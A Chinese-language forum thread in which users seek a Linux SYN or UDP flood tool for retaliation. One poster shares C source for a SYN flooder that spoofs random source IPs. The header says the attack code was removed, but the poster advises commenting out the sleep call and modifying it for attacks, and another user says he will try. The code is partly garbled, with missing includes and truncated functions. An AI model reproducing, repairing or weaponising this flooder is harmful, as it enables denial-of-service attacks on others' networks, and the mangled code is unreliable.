DOS
发表于 2013-7-20 11:49:06
DOS 发表于 2013-7-20 17:37
QQ蜗牛
014.gif
有Linux下的木有？我只有linux的服务器。。。。
heiren
发表于 2013-7-20 11:01:00
heiren 发表于 2013-7-20 17:37
这个是CC吧？对方是UDP和SYN我，我CC没用吧？我想找UDPFLOOD或者SYN反击。。。 ...
据说注释掉MySleep( sleeptime )，再修改一点别的地方，还是大有可为的。[*]/********************************************************************************************
[*]* SYN Flood, Test on Red Hat Enterprise Linux AS release 3 (Taroon Update 5), gcc 3.23
[*]* gcc -o syn_test -O3 syn_test.c
[*]* change log:
[*]* 2006-12-01, code by yunshu(wustyunshu@hotmail.com), thx luoluo for fixing a bug.
[*]* 2006-12-05, yunshu fix a bug, version 1.0
[*]* 2006-12-26, thx bocai for reporting a bug, version 1.1
[*]* 2008-04-26 luoluo add type options to support syn_ack and fin_ack flood v1.2
[*]* 2010-11-10 yunshu fix a little bug
[*]* 2010-11-19 yunshu modify the sleep funtion, version 1.3.
[*]* 2011-06-26 yunshu delete attack code, make it to be a testing tool.
[*]*
[*]* it used to test loadblance, you have to change some code for attacking.
[*]*********************************************************************************************/
[*]#include
[*]#include
[*]#include
[*]#include
[*]#include
[*]#include
[*]#include
[*]#include
[*]#include
[*]#include
[*]
[*]typedef struct ip_hdr
[*]{
[*] unsigned char h_verlen;
[*] unsigned char tos;
[*] unsigned short total_len;
[*] unsigned short ident;
[*] unsigned short frag_and_flags;
[*] unsigned char ttl;
[*] unsigned char proto;
[*] unsigned short checksum;
[*] unsigned int sourceIP;
[*] unsigned int destIP;
[*]}IP_HEADER;
[*]
[*]typedef struct tcp_hdr
[*]{
[*] unsigned short th_sport;
[*] unsigned short th_dport;
[*] unsigned int th_seq;
[*] unsigned int th_ack;
[*] unsigned char th_lenres;
[*] unsigned char th_flag;
[*] unsigned short th_win;
[*] unsigned short th_sum;
[*] unsigned short th_urp;
[*]}TCP_HEADER;
[*]
[*]typedef struct tsd_hdr
[*]{
[*] unsigned long saddr;
[*] unsigned long daddr;
[*] char mbz;
[*] char ptcl;
[*] unsigned short tcpl;
[*]}PSD_HEADER;
[*]
[*]#define PACKET_SIZE sizeof(IP_HEADER) + sizeof( TCP_HEADER )
[*]
[*]char dst_ip = { 0 };
[*]int dst_port;
[*]unsigned long long sleeptime, starttime, outcount=0;
[*]int pkt_then_sleep = 0;
[*]
[*]unsigned short CheckSum(unsigned short * buffer, int size)
[*]{
[*] unsigned long cksum = 0;
[*]
[*] while (size > 1)
[*] {
[*] cksum += *buffer++;
[*] size -= sizeof(unsigned short);
[*] }
[*] if (size)
[*] {
[*] cksum += *(unsigned char *) buffer;
[*] }
[*] cksum = (cksum >> 16) + (cksum & 0xffff);
[*] cksum += (cksum >> 16);
[*]
[*] return (unsigned short) (~cksum);
[*]}
[*]
[*]void MySleep(unsigned int micro_second)
[*]{
[*] struct timevalt_timeval;
[*]
[*] t_timeval.tv_sec = 0;
[*] t_timeval.tv_usec = micro_second;
[*]
[*] select( 0, NULL, NULL, NULL, &t_timeval );
[*]}
[*]
[*]void Init( char *buffer )
[*]{
[*] char src_ip = { 0 };
[*] int n = 0;
[*]
[*] IP_HEADER IpHeader;
[*] TCP_HEADER TcpHeader;
[*] PSD_HEADER PsdHeader;
[*]
[*] sprintf( src_ip, "%d.%d.%d.%d", rand() % 250 + 1, rand() % 250 + 1, rand() % 250 + 1, rand() % 250 + 1 );
[*]
[*] IpHeader.h_verlen = (4 \n", argv);
[*] fprintf(stderr, "send syn packets to :, sleepmicroseconds perpaskets\n\n");
[*] return -1;
[*] }
[*]
[*] strncpy( dst_ip, argv, 16 );
[*] dst_port = atoi( argv );
[*]
[*] if( inet_addr(dst_ip) == INADDR_NONE )
[*] {
[*] printf( "target ip error.\n" );
[*] return -1;
[*] }
[*]
[*] if( dst_port65535 )
[*] {
[*] printf( "port error.\n" );
[*] return -1;
[*] }
[*]
[*] pkt_then_sleep = atoi(argv);
[*] if( pkt_then_sleep == 0 )
[*] {
[*] printf( "pkt_then_sleep error.\n" );
[*] return -1;
[*] }
[*] sleeptime = atoi(argv);
[*]
[*] starttime = time(NULL);
[*] while(time(NULL) == starttime) usleep(1000);
[*]
[*] signal(SIGHUP,&sig_proc);
[*] signal(SIGINT,&sig_proc);
[*] signal(SIGQUIT,&sig_proc);
[*] signal(SIGILL,&sig_proc);
[*] signal(SIGABRT,&sig_proc);
[*] signal(SIGFPE,&sig_proc);
[*] signal(SIGSEGV,&sig_proc);
[*] signal(SIGPIPE,&sig_proc);
[*] signal(SIGALRM,&sig_proc);
[*] signal(SIGTERM,&sig_proc);
[*] signal(SIGUSR1,&sig_proc);
[*] signal(SIGUSR2,&sig_proc);
[*] signal(SIGCHLD,&sig_proc);
[*] signal(SIGCONT,&sig_proc);
[*] signal(SIGTSTP,&sig_proc);
[*] signal(SIGTTIN,&sig_proc);
[*] signal(SIGTTOU,&sig_proc);
[*]
[*] Flood();
[*]
[*] return 0;
[*]}复制代码
hcw1588
发表于 2013-7-20 11:53:41
hcw1588 发表于 2013-7-20 17:40
据说注释掉MySleep( sleeptime )，再修改一点别的地方，还是大有可为的。
眼泪哗哗滴。。。。。。。。感谢～～～偶试试去
002.gif
heiren
发表于 2013-7-20 11:19:00
heiren 发表于 2013-7-20 17:41
眼泪哗哗滴。。。。。。。。感谢～～～偶试试去
成功了麻烦cpoy一份给我，学习任务多，实在没精力去修改了。